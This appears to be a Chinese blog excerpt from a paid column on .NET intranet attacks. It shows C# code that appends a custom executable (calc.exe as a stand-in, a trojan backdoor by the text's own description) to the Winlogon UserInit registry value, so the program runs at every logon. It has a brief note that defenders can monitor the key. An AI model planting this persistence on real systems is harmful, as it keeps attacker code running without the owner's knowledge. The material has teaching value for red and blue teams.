.NET 通过UserInit键实现Windows权限维持

01阅读须知

此文所节选自小报童《.NET 内网实战攻防》专栏,主要内容有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,对内网和后渗透感兴趣的朋友们可以订阅该电子报刊,解锁更多的报刊内容。

02基本介绍

图片

03编码实现

UserInit键位于Windows注册表的路径中,所包含的值表示指向用户登录时系统要启动的初始化程序,利用Windows注册表中的UserInit键,攻击者可以实现权限维持。

3.1 UserInit键

红队可以通过修改UserInit键值将自定义的可执行文件添加到路径中,比如某个远控生成的木马后门文件,这样用户登录时自动执行该文件,以下是实现这一操作的代码示例

string keyName = "Userinit";
string customExecutablePath = @"C:\windows\system32\calc.exe";
string newUserInitValue = $"C:\\windows\\system32\\userinit.exe,{customExecutablePath}";

这里的customExecutablePath变量是要添加的自定义可执行文件的路径,此处便于演示直接定为计算器calc.exe,newUserInitValue是新的UserInit键值,它包含了默认的userinit.exe路径和自定义可执行文件路径。

3.2 更新键写入后门

.NET中使用Registry.LocalMachine.CreateSubKey方法打开UserInit键所在的注册表路径,调用SetValue方法将UserInit键的值更新为新值,确保在用户登录时启动calc.exe,具体代码如下所示。

RegistryKey registryKey = Registry.LocalMachine.CreateSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon");
registryKey.SetValue(keyName, newUserInitValue);
registryKey.Close();

通过修改注册表UserInit键来启动自定义程序,是红队在渗透测试和攻击活动中常用的方法之一,从蓝队视角因此需定期检查和监控UserInit键的配置。想要了解更多内网权限维持的文章。

04欢迎加入.NET 电子报刊

本次电子报刊《.NET 内网安全攻防》专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。

1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理

图片

图片

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值